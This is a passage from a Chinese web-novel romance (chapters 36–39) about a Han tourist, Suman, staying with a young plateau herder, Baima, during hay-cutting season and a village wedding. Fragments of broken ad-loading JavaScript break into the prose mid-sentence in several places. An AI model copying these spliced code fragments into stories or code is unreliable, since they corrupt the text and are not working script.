苏曼胆小,一直不敢过去。她看见白玛脸上还有擦过的血迹,手上还是紫的,一看就没少打。 “没事的,姐姐,村上打架,不是我一个人打。”白玛又擦了擦脸,感觉好像也没啥大事。 “那到底怎么了呢?要不要去买点药来?” “不用吧。我之前骑马摔到头了,也就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 几天就长好了。” 说着白玛还向上撩起头发,凑近给苏曼看他的额头一角,果然在发际线边上有一道小疤,不过平时都被他的长发遮盖住了。 苏曼掂起脚,白玛低着头,就那么看了他额头上的疤。 可能凑的有些近了,白玛的心脏又开始砰砰砰的跳了起来,苏曼也赶紧看完就缩了回去,嘴里说道: “走吧,去县上买些碘伏来,先消消毒也好。” 苏曼说的是白玛的脸颊,他的拳头都紫了,手臂上也有多处擦伤,但是脸上可能是别人的戒指或是什么其他锐物刮破了口子,虽然擦过,但还是不停有渗血。 为了让苏曼放心,白玛也听话的答应了: “那姐姐你要不要跟我一起去?我怕我买错了。” 苏曼抿着嘴,假装生气的样子,但还是戴上了羊毛毡帽,准备和白玛一起去县上买药。 白玛拿起摩托车钥匙,两个人跨上了车,苏曼抓紧白玛的衣服,羊毛毡帽还顶在他的背上。 特别默契的两人,就那么出发了。 看着,就像一家人一样。 远处的德西怔在原地,手上还拿着药水,她本来是想给白玛来送药的,结果看见两人像没事一样的出门了。 这个汉族女人怎么天天和白玛在一起,听说她住到白玛家了,这竟然是真的。 嫉妒之火再一次在德西心里熊熊燃烧。 一直等到两个人回来,德西冲进了白玛家里。她知道白玛妈妈这些天去了兰城,家里没有家长,她可以更加肆无忌惮了。 “白玛!我给你拿药来了。” 她看了看桌上的外卖盒子,还有长凳上扔着的苏曼的红色羽绒服。 白天天气热,苏曼都只是到傍晚才会穿上羽绒服。 大家的衣服也都是随意的扔在厅里的长凳上,那上面还堆了白玛各种各样的衣服,也不知道是洗过的,还是没洗过的。 男孩子,就是这样,扯一件穿,又揉一件。但是苏曼也没好意思帮他收拾,毕竟她只是个住家游客。 “你住这?” 虽然有所耳闻,但是德西看见那件红色的羽绒服,还是非常的震惊,或者说不可思议的愤怒。 “对,她住我家。我阿妈知道的。” 白玛抢先站了出来,他不需要德西和苏曼直接对话。 “你阿妈怎么会同意?” “这跟你没关系吧?” 德西涨红了脸,追白玛已经是一件很羞的事情了,追不到更是羞耻。 苏曼扯了扯白玛的衣角,示意他态度好一些,毕竟人家是给你送药来的。 “那个,药不用了,我们刚才去买回来了。”白玛缓了缓情绪,平淡的跟德西说, 德西拿着药水转身生气的走了出去,嘴里念叨:“羞不羞。” 一男一女住在一间屋子里,又不是家人,又不是夫妻,羞不羞。 常规来说,是羞的。 但是这是一个既传统、又开放的旅游县城。 游客住进家里,也是常有的事。而且还有明码标价的收费标准:一个长凳五十元每晚,若是住家吃饭则每日另收二十元。 所以,这是两码事。 正因为有着游客的身份,白玛才从来没有想过“羞不羞”的事情。 而且,他也不在乎别人怎么说,他觉得现在这样就挺好。 36. 第36章 德西生气的走了,虽然白玛和苏曼都知道她为什么那么生气,但是两个人也没再往下聊。 “姐姐,你帮我擦吧?这个是要擦的吗?” 白玛期待苏曼帮他擦药水消毒,他也诧异自己为什么会期待这个。 苏曼看见了白玛期待的眼神,还那么假装不经意,又有些紧张的望着她。 她舔了舔唇,道:“那你坐下吧。” 她让白玛在长凳上坐好,然后白玛就乖乖的坐好,仰着头看着苏曼。 苏曼的长发垂下,他想起了在朗玛厅的那晚,他冲动的想挽起跌落的那缕长发。 心脏又开始不听话的跳动了起来,白玛不自然的“咳”了两声,清了清嗓子。 苏曼手上停了停,又继续娴熟的拧开碘伏的瓶盖,然后拿出两根棉签,一起蘸上药水,给仰着脸的白玛,细细的擦上。 他的皮肤黝黑,却紧致细腻。还有那高挺而又阳刚的鼻子,和乌黑的眼睛。 “姐姐。” “嗯?” “为什么我心跳的这么快啊?” 白玛灼热而又无辜的望着苏曼。 苏曼一时顿住,又舔了舔唇,道:“可能你紧张吧。” “那我为什么会紧张啊?” “......因为我给你上药啊。” 苏曼抿着唇,直直的盯着他的伤口,不敢再看他的眼睛。 撕开创可贴,再将它贴在白玛的脸上,苏曼细白的手指按压在白玛黝黑的肌肤上。 苏曼想起了范范的那首歌《黑白配》:谁说不能黑白配,世界上没有什么事能够如此的绝对...... “好啦!明天再换一个就行了。你年轻,很快就能长好了。” 苏曼想缓一下气氛。 “姐姐,你也年轻啊。” “......嗯” 摸着脸上的创可贴,白玛心里美滋滋的。谁说没事,谁说不用擦药水,如果是姐姐帮他擦药水,他就很愿意。 白玛站了起来,走到门口,跳跃而起,摸了一把头顶的门框。 “姐姐,你会打篮球不?” “啊,不会。” “我以前可喜欢打篮球了。” “嗯,看出来了。”苏曼看着白玛笑, 他是青春阳光快乐的白玛,温暖的白玛。 - “次仁,你怎么来了?” 白玛看着走进他院子的次仁,也是一楞,这家伙,不是打完架回去了吗? “我听说苏曼住到你家了,过来看看。” “她一个人在酒店闷嘛,我最近要割草,没时间陪她。” “那你可以喊我嘛,我不是跟你说过,我有空,我也不收钱。” 显然次仁是有备而来。 “......” 说这个就没意思了,白玛有些不高兴。 苏曼收拾完桌上的药水,也走了出来:“次仁,你怎么来了?” 次仁看看白玛,不由得一笑:“你们两个怎么问的话都是一样。” 白玛回头看看苏曼,也被苏曼那句话逗笑了: “啊,姐姐在我家住两天,等我阿妈回来就搬回酒店。来村上玩嘛,县里也没啥意思了。” “我也没啥事,我也来你家住两天。”次仁原来是这个打算。 “我还可以陪姐姐到处逛。你可以忙你的去。”次仁又做了补充。 “不行。” 白玛想都没想,就拒绝了。 按理说,他没有理由拒绝,兄弟来家里住,那是再随意不过的事情。何况,苏曼也都认识的。 次仁哼笑了一声,他早就猜到会是这样。 “跟你开玩笑的。晚上我在你家吃饭总可以吧?” “哎哟,那恐怕不行。我们今天的菜只剩下两个人吃的了。你来也没有多的啊。” 次仁径直走进了屋子,巡视了一番,果然炉子上放着他们两个中午吃剩的外卖。 “这不也是县上买回来的嘛,我去买不就行了。晚上我们还能喝点。” “喝什么喝啊!明天还要割草呢。” 白玛和姐姐安静惬意的日子,他可不想被次仁过来打搅。 “那就不喝。”次仁盯着白玛。 苏曼出来打圆场:“行吧行吧,没事,你去县上买吧。给我们带个汤来。” 夏日夜晚,喝不了酒,喝些汤还是蛮好的。 “就要一个白菜豆腐汤,剩下的你自己看着办。你看还剩下这些,再买一两个菜就够了。” “还是姐姐爽快。”次仁看了白玛一眼。 白玛咬着唇,似是在看次仁要演什么好戏。这家伙,又想干嘛。 “行,那你去买吧,我跟姐姐去村里小卖部再买点饮料回来。” 就这么愉快的决定了。 次仁骑着他的摩托车走了,白玛带着苏曼,慢慢悠悠的走在压低的天空下,霞光穿透云间,一束一束照射下来。 村里小卖部里坐着的是一个姑娘,她阿爸承包了村里的这间小卖部。 这个姑娘前些年还短暂出过家,现在没事在家里画画佛像,是个安静的姑娘。 但是坐在她身旁的她的闺蜜就不一样了,是村里有名的八卦王,男女之间的情事她都知道,而且特别喜欢跟洛绒表嫂聚在一起,互相传递家家户户背后的故事。 “白玛,带你姐姐买好吃的索?” 八卦姑娘首先就看到了苏曼。白玛有些不好意思,他向来不喜欢跟这些姑娘们打交道,他的世界里除了马,就是兄弟。 苏曼站在门口,并没有进去。白玛也未搭话,从架子上拿了几瓶喜虎,还有可乐,又拉开了冰柜,挑起了里面的雪糕。 “姐姐,你喜欢吃什么雪糕?”白玛冲着门口的苏曼问道, “啊,都行。” 白玛没有拿平时他们经常买的那些普通的雪糕,而是选了最贵的甜筒,他拿了两个。 “白玛!你给姐姐舍得花钱哦!平时也没见你舍得给降措买这么贵的咧。” 八卦姑娘坐在柜台里,一边玩着手机,一边观察着白玛跟他搭话。 白玛还是没有理他,把钱给了安静姑娘,提着袋子就走了出去。 苏曼什么话也没说,他知道白玛的心意,是不想给她买到她不爱吃的雪糕,贵的总归是好的。 两个人舔着甜筒,就往回走。 路过村里的篮球场,白玛还介绍了一番。说是篮球场,其实也不算,不过是在水泥路面旁边的草地上,架了个破旧的篮球框罢了。 孩子们在水泥路面上拍球上篮,然后篮球会滚落到旁边的草地上去,再捡回来,回到水泥路面上拍球。 “姐姐,你看,我小时候就是在这里打篮球。穿个破鞋打,还打的挺好。哈哈。” 苏曼听了笑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了起来,想象着小小的白玛,像那些小孩子一样,围着一个破旧的篮框,不停的投篮。 “怪不得你长那么高呢。可能是以前篮球打多了吧。” “那不是的,因为我爸爸高。我舅舅这边的话,就没那么高了,你看我妈妈嘛,个子就不高。” 原来白玛也知道遗传这种说法。他可是只有小学文化啊。但是却又好像懂的很多。 到现在,苏曼都不知道如何定义白玛的大脑。说他没文化,但是他又很有智慧,总能说出许多高深的人生哲理。 书读的多,不如悟的多。 到家不久,吃完雪糕,白玛和苏曼又各自歪倒在长凳上,各自玩着手机,等待着次仁的晚餐。 这样平静又平淡的日子,两个人都很舒服,也无需刻意去做些什么,似乎安静的陪伴,就足矣了。 次仁回来见到这副场面,也是惊讶:“你们就这么呆在家里啊?” “啊,不然呢?” 白玛看看苏曼,苏曼也仰起头,头发胡乱盖在她的脸上,她又朝两边拨了拨。 次仁摇摇头:“没有我,你们两个是不是要饿死哦。” 苏曼接话:“那你想多了。” 看来她心情不错。 接着白玛起身,将炉子里的火拨了拨,里面已经完全凉透了,从早上开始就凉透了。 “不用啦!你们中午剩的那些菜就算了,我也不想吃。我买多了几个菜,够我们三个人吃的。” 白玛眼睛一亮:“可以啊,次仁,果然是不差钱哦!” “去去去。明天给我骑骑你的小黑就行了。” 次仁跟白玛、苏曼在一起,好像也变的活泼了,没有了往日的那种冷酷和傲慢。 他圆润的脸和漂亮的大眼睛,带上笑容,终于和他现在的性子能匹配的上了。 “啊?你不知道啊?我的小黑送人了。” “送人?那么贵的马送人?” 次仁果真不知道。这么大的事,他竟然不知道,看来还真是不太喜欢跟人打交道,获得的消息都比别人要少些。 “嗯。”白玛不想往下多说。次仁本想继续问的,但是看见苏曼递过来的眼神,他还是打住了。 这里面的故事,一定不是好的故事。 “来,你要的白菜豆腐汤。” 次仁买了很多,看的出来是特别的大方。 但其实,他是很喜欢跟白玛和苏曼在一起,不光是苏曼,他好像也越来越喜欢白玛这个兄弟了。 和白玛在一起,他觉得很真实,所以,他也愿意将自己的真实,坦露出来。 比如说,白玛也和他一样,愿意为了心爱的女人离开高原。 这个问题,他问过许多人。很多人都说:汉族女孩子,谈谈恋爱可以嘛,但是结婚,还是要找个高原上的。 在次仁眼里,他们的爱情,并不是真正的爱情。 “白玛,你别光顾着给姐姐开嘛,你给我也开一瓶嘛。” 白玛给苏曼拧开一瓶喜虎,又将一瓶重重的摆在了次仁的面前。 “你个大男人,没有手啊?我看你今天打架力气蛮大的。” 苏曼看着两个大男孩,咬着筷子呵呵的笑着,她在等着他们两个给她摆菜,这一刻,真是无比的快乐。 眼前,可是两个美男子啊。这简直就像是天堂一样,与世隔绝的天堂。 如梦如幻。 37. 第37章 三人个吃着次仁买回来的外卖,苏曼给他们两个讲一些永京的故事,吃饱喝足的白玛,还会吼上两嗓子,唱上两句高原情歌。 “哎!可惜了,次仁,要是有曼陀铃就好了。” 苏曼想起了次仁弹的一手好琴,虽然那日他们情绪悲伤,但是那都过去了。 如今,有白玛在身边,好像一切的不愉快都会被他治愈。 苏曼拿起手机,给他们两个拍了一张照片。 白玛比着胜利的姿势,次仁竟然害羞了起来,看不出他的冷酷,反倒变成了一个姑娘,坐在白玛的身边。 “次仁,你怎么了!你这样就不帅了!” 苏曼有些不满意,这不是她印象中的次仁。往日那个酷拽的次仁,才是最吸引女孩子的。 “哎哟!兄弟,你怎么在姐姐面前反而害羞了呢。” 白玛大概知道原因,可是次仁却白了他一眼: “我不害羞,你同意吗?” “我不同意!我不同意!” 白玛高喊,像个喝醉了酒的人一样,虽然他们喝的只是让人兴奋的喜虎。 苏曼一头雾水:“不同意什么呀?” 白玛和次仁两人相视一笑,勾肩搭背的靠在了一起:“没什么没什么。哈哈哈。” “什么呀?”苏曼更加好奇了。 白玛笑着舔了舔唇,道:“次仁说要追姐姐,我说不同意。” “哎!你小子。”次仁把手盖在了白玛的脸上,推了过去。 “哎嘛,你们两个可别胡说。” 苏曼听到这个话题,可是不乐意了。这不是她想要的。 感情的事,特别麻烦。何况是两个与她的世界毫不相干的高原小伙。 “次仁,吃饱了你赶紧回去。别在这呆了。晚上路不好走。” “你是怕我打扰你们两个吧,什么晚上的路不好走,再晚的路我都走过,你可别想赶我走,我今晚就住这了。” 说着次仁往后一倒,躺在了长凳上,嘴里喊着: “白玛,给我搬床被子来。” 怪不得白玛妈妈床尾堆着那么多的被子,原来都是给客人用的。 谁来都可以躺在长凳上睡上一宿,只需要给他们一床被子。 今晚白玛其实也高兴了,变成希望次仁留下来,陪他住上一晚。 “姐姐,我进你房间搬被子咯?” “去吧。” 白玛进了苏曼的屋子,去搬被子。 “苏曼,你打算在高原呆多久?”次仁躺在长凳上,淡淡的问道, “啊,不知道啊。可能快了吧。” 苏曼想起母亲,想起催她的那五十万。 “快了是多快嘛。”次仁继续追问, “就是不知道嘛。” 白玛抱着被子走出来:“姐姐,你要回去啦?” “嗯,应该快了吧。也出来好久了。” 白玛瞬间低落了下来,他还不希望姐姐走。 他将被子扔在次仁的身上,坐在旁边,点了一根烟,沉默的抽了起来。 “苏曼,以后我们去永京找你可以吗?” 白玛抬起头来看着苏曼,苏曼道: “可以啊。在这里你们带我玩,来永京,我可以带你们玩。” “那就一言为定了。” 白玛狠狠的嘬了一口烟,仰着头将烟吐了出去。 睡觉前,三个人都在各自玩着各自的手机,每个人都有每个人的心事。 - 第二天白玛要去割草,次仁就自己回去了。 待到傍晚,村长回来,跟白玛舅舅传递了两个村长协调的结果:马会牵回去,钱在一周之内会送过来。 苏曼不解的问白玛:“你们不是一手交钱一手交马吗?我看你上次村里搞的那个,不就是那样吗?” 白玛笑着跟苏曼解释:“也不一定的,只要说好了就行。我今年还卖过一匹马,说要到明年挖完虫草下来才给我另外的两万块钱呢。他现在没有钱嘛,明年挖虫草的钱,就都给我。” “噢。原来是这样。” 没有规则,规则就是双方的约定。 降措从舅舅家跑来,端来了一盆子郭盔,那个大铁盆子有脸盆那么大,当然,锅盔也是比脑袋还要大。 “姐姐,舅妈让我拿来给你吃的。当早餐吃。” 降措个子小小的,两坨可爱的高原红,脸蛋圆圆的,跟白玛长的不太像,到是跟他妈妈像是一个模子里刻出来的一样。 “啊,好的。谢谢降措。” 害羞的降措,放下盆子,扭着头就跑了出去。他这些天都窝在奶奶的被窝里睡,像之前窝在妈妈的被窝里一样,小小的人儿,走到哪里都喜欢贴贴。 “这就是你之前给我带的那个大饼啊?” 苏曼拿起一块大大的锅盔举了起来,放在脸前,比自己的脸还要大。 “对啊。上次是阿妈做的。我们这边都会做这个。” 白玛好像有些心不在焉,苏曼撕了一小块,吃了起来,还是那个味道。 “姐姐。” “嗯?” “你真的快走了吗?” “啊,差不多了。” 白玛舔了舔唇,然后一直咬着唇,面色有些凝重。 “那你妈妈......还会找你吗?” 苏曼停了下来,嘴里还咬着一块锅盔。 “会吧。” 这可怎么办?姐姐要回去了,要回去面对她那个坏妈妈了,以后白玛保护不了姐姐了。 “姐姐,你要是受委屈了,就给我打电话。好吗?我会陪着你的。” 苏曼抬头望着白玛,她又何尝不是对他产生了依赖。 跟白玛在一起,她真的是什么都不用想,什么都不害怕了。 白玛身上的能量,持续的照耀着她。 “嗯。好的。你是我最好的弟弟。” 白玛定定的看着苏曼,想从她脸上看出留恋与不舍,她流动的眼神里,还是那么的无助,和迷茫。 她的皮肤晒黑了一些,头发也凌乱了一些,衣服也穿脏了一些,但是在白玛心里,她还是那个第一眼就让人闪亮的姐姐。 姐姐的未来是什么?幸福在哪里?是白玛最想知道的。 “姐姐,你要是在永京过的不开心,你就到高原上来找我。我会一直在这里的。” 白玛还想探索些什么。 苏曼望着白玛笑了笑:“傻弟弟,我还能在高原上过一辈子啊,你不是都说了嘛,要自己解开自己,我回去会试着去做的,你放心吧。你教会了我许多呢。” 可是没有白玛在身边,她真的能自己解开自己吗? 高原的阳光才能照耀人们的心呢,她离开了高原,会不会暗淡枯萎。 白玛不知道,苏曼也不知道。 降措又跑了回来,嘴里喊着:“阿布阿布!快去看河里的牛!” “什么河 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里的牛?” “你快去看嘛,好多人都去看了呢。一会儿就没有了。” 降措喊完又边回头边迈着步子往外跑,示意白玛和姐姐赶紧跟上。 “走。” 白玛和苏曼也迅速站了起来,跟着降措开始往河边跑。 河边离村子有一段距离,降措小腿跑的飞快,白玛一边迈着大长腿,一边回头等苏曼。 跑到的时候,河边已经聚集了许多人,除了本村的,还有隔壁村的,都在围着那条河看。 河中站着一个卷毛大叔。苏曼走近一瞧,河里沉着两扇牛肉,确切的说,是两半牛身子。 “这下找到咯。到底是谁偷的哦?” 岸上的人开始七嘴八舌的看热闹。 卷毛大叔家的牛丢了一头,怀疑是被人偷了,因为晚上牛赶回来的时候,数量都是对的。 德西看见白玛带着苏曼前来,往他们身边也走了过去。 “姐姐,你还没走啊?” 白玛看了德西一眼,继续盯着河里被劈开的牛。 “啊,快了。” 苏曼不想理她,在白玛身边,她现在也没有那么害怕德西了。 白玛点了根烟,蹲了下来,苏曼也跟着蹲了下来,德西站在旁边,尴尬的盯着河里的牛。 “姐姐,这是别人把牛偷了,又怕被人认出来,就先藏在这里了。” 白玛开始给苏曼解释,为什么要把牛劈开两半沉在水里。 河里的水很冰,夏天也不会被太阳晒坏。 “噢。还真是有办法哦。” 苏曼第一次听说还有这样偷牛的。 “他们如果找到买家,就会晚上的时候来把牛取走。不过现在被发现咯!” 白玛继续给苏曼解释,德西在一旁听着。 卷毛大叔找了好几天,终于在河里发现了自家的牛。 他们认得自家的每一头牛,这也是让苏曼感到很神奇的地方。 “牛身上没有标记,怎么会认得的呢?” “哎哟,自己家养的肯定认得的嘛。你家养的狗,你认得不?” 大概就是这个道理,但是几十上百,甚至好几百头牛,每一头都认得,这对苏曼的理解来说,那还是很不可思议的。 “那为什么一定要杀死牛呢?” 白玛看着苏曼,抿着嘴笑: “不杀死怎么带走嘛。那么大一头牛,而且也很容易认出来是谁家的。这样一块一块的又好藏,又好拿。” 啊,原来是这样。 “这肯定是惯偷嘛。专门偷牛的。肯定不止这一次了。” 原来白玛说的真没错,哪里都有好人和坏人,高原上也有小偷,也有骗子。 卷毛大叔叫了两个人下水,一起帮他把两扇牛捞了上来。 牛的内脏已经空了,或许小偷在宰牛的时候,已经将内脏扔在了野外,被狼吃掉了。 把牛找到,已经算是挽回不少损失了,牛肉卖出去也还能卖个几千块钱。 但是如果是活牛的话,养的肥一些,到秋天价格会更高,甚至可以卖到一万块钱一头。 “报警嘛!把那个小偷抓起来!” 岸上有人建议卷毛大叔去报警,抓住小偷,不然下一次,又偷到其他人家里去了呢。 卷毛大叔最后还是没有报警。 有时候,小偷或许就出现在村子里,甚至自家的亲戚中。 这些,也都是常有的事。 38. 第38章 “姐姐,明天我们村上有人要结婚哦!” 草原上的婚礼都喜欢安排在夏天,因为天气最舒适。苏曼已经参加过一次婚礼了,所以并没有了当初的那种兴奋与期待。 “你要去参加吗?” “当然啦。我还带你去看。姐姐,不过那个女孩子才十八岁呢,她娶了一个老公。” 苏曼眼睛一亮,女孩子娶老公!这样的婚礼她就很感兴趣了。 “她才十八岁呀,为什么这么早就娶老公啊?是不是你们这边都是这么早啊?” 苏曼有些明知故问,但是她还是想一再的确认,是不是真的每个人都在二十岁前,或者二十岁左右,就结婚了。 这么说来,今年十九岁的白玛,也快要结婚了。 “嗯,大部分吧。也有晚的。我另一个表哥二十八岁了,他就还没有结婚呢。因为他是公务员嘛,有工作嘛,就不着急的。然后这个女孩子因为她们家只有她跟妈妈嘛,家里没有男人,没有劳动力不行的,所以就要早一点结婚,娶个老公进来。” “噢,原来是这样。” 所以,人类,是最适合生存的。他们总能审时度势,随着环境或者境遇的变化,来决定自己的生存方式。 早婚,或者晚婚,都是生存的需要罢了。 “白玛,那你是不是也快要结婚了?你又不是公务员,又没有工作。”苏曼又开始打趣白玛。 白玛却很认真的思考了起来。 “姐姐,我想过这个问题呢。我如果坐家的话,为了阿妈,我是应该早点结婚的,这样就有个老婆帮我管家里,还有照顾阿妈,这样我就要省事很多了。但是呢,如果妹妹坐家的话,我自己就不想那么早结婚了,觉得没得意思。” “那到底是你坐家还是你妹妹坐家啊?”苏曼好奇的问, “还没定呢。姑姑说妹妹坐家比较好。只是那么一说,还没有定。” 白玛看着苏曼:“我是不想坐家的,我也想要自由。想去哪里就去哪里,跟次仁一样。” “嗯。” 次仁确实是自由。但是白玛和次仁的家境有很大的不同。 目前家里还只能靠他一个人,妹妹十五岁还在读小学,或许今年读完,就不会再继续读初中了,她自己也不喜欢读书,成绩也不好。 回来呆个一两年,妹妹估计也就要开始考虑婚姻的事了。 若是妹妹坐家的话,妹妹将会娶一个能干的老公回来。那么,白玛就解放了,就拥有了他的自由。 白玛吃过午饭就去割草了,苏曼自己呆在院子里晒着太阳,拿着手机在网上看她的房子现在能值多少钱。 妈妈又要五十万,她是不打算给的。如果再一次给了,那就真是个无底洞了。虽然现在已经是了。 苏曼仰头眯着眼,让阳光满满的晒在脸上,她想着白玛在孤儿院跟他说过的那些话:接受与放下。 什么是接受与放下呢。接受了,以后呢?继续给钱?放下是什么?不再给了? 有些道理,真是听起来很好,但是现实做起来,是真的难啊。 她,果真没有白玛的智慧。 - 今天是最后一天的割草,明天就是那位十八岁姑娘的婚礼了。 村子里走家串户的人也多了,去这个人家里借个东西,去那个人家里借个东西,都在为明天的婚礼筹备。 洛绒表嫂走了进来:“苏曼啊,白玛割草去了啊?” “啊,对的。” 苏曼认识洛绒表嫂,但是却从未说过话,她这一进来,就好像她们很熟一样,而且还直接就喊了她大名。 苏曼在等着洛绒表嫂说明来意。 “啊,我来找个东西。” “哦。好的。”苏曼把凳子往门口的一边挪了挪。 不一会儿洛绒表嫂就走了出来,手上提着一个暖水壶。 “借个水壶哈!你回头跟白玛说一声。” “哎!好的。” 洛绒表嫂一边往院门口走,一边又回头问苏曼:“哎,明天你也来吧?” “啊,对的。来。” 洛绒表嫂点点头,高兴的拿着暖水壶出去了。 可能明天婚礼上来的人多,暖水壶不够用,所以需要挨家去借,包括一些餐具,和首饰什么的,都会从村子里各家凑一凑。 下次谁家再办的时候,同样也是一样的挨家借。 这和汉地农村摆酒席一个样。 白玛回来的时候,一身的脏,身上都是割草留下的尘土,头发上也是一层。 他脱下身上的脏衣服,趴在长凳上左右翻他的干净衣裳。 白玛妈妈每次把洗好的干净衣裳叠好,给他放在“床”尾,但是都会被他翻的乱七八糟,完全看不出哪个是干净的,哪个是脏的。 “姐姐,我想去县上洗个澡,要不你也一起去洗吧。我们以前都是定时全家会一起去洗的。明天不是参加婚礼嘛,正好洗个澡洗个头。” 这些天苏曼也确实没有好好洗过了,想着反正几天的时间她就又住回酒店了,到时候再洗也不迟。 不过明天是婚礼,白玛想去洗个澡,也是应该的。 “你们洗澡是去哪里洗啊?”苏曼好奇, “澡堂啊!我们县上有专门的洗澡的地方。一个房间三十块钱,那个池子大概可以四五个人一起洗的,多的就不行了。啊,我们家人是分开洗的,妈妈妹妹是另外开一个房间的。” 白玛说着脸就红了。 三十块钱的澡堂子,四五个人一起洗的大池子。那可能不太适合苏曼。 “白玛,要不这样吧,我去开个酒店,我去酒店里洗。你说的那个澡堂,我可能不太习惯。” 白玛恍然大悟:“啊!对的对的,姐姐不适合去我们那个地方洗澡。哈哈。” 白玛摸着额头,用手捂着半只眼,脸更红了。 刚才是害羞,现在是说错话的窘迫。 苏曼也笑了,安慰道:“没事的。要不我今晚开个酒店住吧,然后明天早上你来接我?这样我们就都可以洗澡了。你先上去洗,洗完了你就回家,晚上我再在酒店里睡就行了。” 这样到是可以,不过白玛还是有些害羞。 “没事的,姐姐,我去澡堂洗就行了。你今晚在酒店洗,在酒店睡,明早我来接你。” “可以的。” 这样大家就都能自在些了。 白玛把苏曼又送回了假日酒店,自己去了县上的澡堂,美美的洗了个澡,洗了个头。 苏曼回到酒店,感觉异常的舒适,但是安静的酒店里,却少了那份温暖。 她一直就在这种寂静的冰冷的世界里生活着,独立又孤独。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 或许她是享受这份孤独与自在的,但是现在她也知道了温暖是个什么样子。 白玛妈妈,还有白玛,有人关心的感觉真的很好。 苏曼也美美的睡上了一觉,到了早上,又期盼着白玛的到来,把她带回那个村子。 村子里真的是热闹,路上的人比昨天又多了不少,仿佛割草季过后,大家又能舒心的享受这个夏天了。 忙碌的白玛穿梭在家庭与苏曼之间,一边做着大人,一边做着弟弟。 “姐姐,后天妈妈就回来了,妹妹周末放假也会回来。” “好啊。那我提前把酒店定上,我应该也差不多该回去了。” “回哪里?”白玛一愣。 “永京啊。” 苏曼看了看白玛,他正抬着眉一脸不可思议的看着她,好像她要回永京这个事,他从来都不知道一样。 或许他只是还没有做好准备。 “哦......到时候我送你去机场。”白玛颓了下来。 今天是婚礼日,但是白玛却高兴不起来了。 因为姐姐,要回永京了。或许以后,两个人再也见不到了。 这种见不到,有可能是一辈子。 苏曼心里也很清楚,这段旅程,她意外的收获了许多,但旅程终究是旅程,在人生漫长的岁月里,它就像星河中的一颗微弱的星星,会照耀你一辈子,但是却难以触摸的到。 今天的婚礼,村子里的人几乎都来了,也有外村的人,白色的超大帐篷搭了五六个,每个里面都摆了好几张桌子。 这个小小的县城,小小的乡村,平日里活动不多,这种婚礼,也算是难得的盛会了。 白玛带着苏曼站在人群中,像上次一样,看着隆重又盛大的婚礼。 村子里的人虽然都知道苏曼,但是还是会频频打量这边,特别是德西的失利,让一些姑娘们也都窃窃私语了起来。 “白玛不会是喜欢上她了吧?走到哪里都带着她。” “对啊,德西都气死了。估计她阿爸也不喜欢。” “那也没用啊,她一个汉地的,也不可能嫁到我们这边来吧。白玛要坐家呢。” 外人都认为白玛会坐家,因为他是他们家最能干的男人,这样的男人怎么可能不坐家,再娶个贤惠的老婆进来,一里一外,日子一定会越过越红火。 他这么优秀的男人,怎么可能会嫁出去。 就算是德西爸爸惦记着,估计也难呢。 有胆大的小伙子叼着烟跑过来,假装给白玛递了根烟,眼睛却不停的瞟向苏曼。 “白玛,你好久结婚嘛?” 婚礼,自然是聊婚姻。每一个适龄人,都会关心这个话题。 “我不着急。” 白玛不太喜欢他的眼神,并不想过多的搭理他。 “那你是不是有喜欢的人哦?”小伙眼睛继续瞟向苏曼。 白玛眼神凌厉了起来,盯着小伙道:“关你啥事。” “哎哟。生气了索?问都问不得咧。”小伙识趣的走开了。 白玛忽然转头认真的看着苏曼,眼里有些思考与疑惑。 他是不是有喜欢的人了? 本以为与自己无关的苏曼,迎上了白玛复杂的眼神,那眼神,不像是弟弟的眼神,而像是个男人。 他刚才,像男人一样看着她。 39. 第39章 “姐姐,明天我没事了,我们出去玩吧?你这几天在村子里也待烦了吧?” 还有一天白玛妈妈就要回来了,刚好村子里的割草也结束了,白玛想带苏曼出去玩一天,在她离开之前。 他们在一起的日子不多了。 “好呀!你上次说的那个冰川,你觉得我能上的去吗?” 这应该是最后一个值得去的景点了。来高原适应了这么久,苏曼应该不会再高反了。 白玛又往炉子里加了两块牛粪,家里肯定比不了酒店里温暖。 “我看看明天的天气。” 白玛打开手机,查看了起来。 上冰川不难,慢慢走,总是能到的,难的是怕遇上恶劣的天气。 像他还好,哪怕全身被雨打湿了,即使不换衣服,就让它自然干透都没事。 但是苏曼肯定就不行了,一个感冒可能都会要了她的命。 “嗯,天气不太好,明天可能会有阵雨。山上海拔四千呢。姐姐,要不我们还是算了吧。” “好的。那听你的。” 苏曼看着炉火映在白玛的脸上,他蹙着眉,举着手机,认真的样子,真的很男人。 不自觉的,苏曼就是会去听他的一切安排。 “那我们去哪啊?” 白玛将身子后仰,双手交叉放在后脑勺上,望着屋顶,一脸严肃。 今天一天他的情绪都不高。“姐姐要走了”这个声音一直在他头顶旋绕,现在又多了一个“明天去哪。” 小小一个巴龙县,该玩的都玩过了,唯剩那个遥远的冰川。 如果不带姐姐去,会不会有遗憾。如果去了,会不会有危险。 但人生,总是充满遗憾的。 苏曼也看出了白玛情绪不高,安慰他道: “没事的,白玛,去哪都行,冰川也不是一定要看的,它永远都会在哪里,又不会跑掉。” 也是。白玛不是想带苏曼去看冰川,他只是想和苏曼在一起,好好的玩一天。 “那我们去骑马吧?我教你骑马。” “可以啊,这样就算下雨了我们也可以赶紧回家。” “嗯。” 白玛还是觉得有些遗憾,但是也只能这样了,日子一天天的悄无声息的流走,在你未曾察觉的一瞬间,就这么结束了。 - 睡到自然醒,太阳已经高挂在碧蓝的浩瀚之中,万里无云,天空高远,大地静谧,这样的天气怎么看也不像是要下雨的样子。 可这里是高原,神秘的高原。 人类生存在这片极致的土地上,法则就是听从天空的召唤,遵守大地的庇护。 白玛依然把呷波叫来,帮着看马牵马。两个人在马房里挑了好久,终于挑出三匹温顺又干净漂亮的马来。 苏曼洗漱后随意的将长发披在肩后,发间还有昨晚洗过的洗发水的香味。 她抓起炉子上烤热的锅盔,掰开一半,拿着走了出去,倚在门口看着忙碌的白玛。 “白玛,马选好了吗?” “选好了。等你吃完我们就走。” 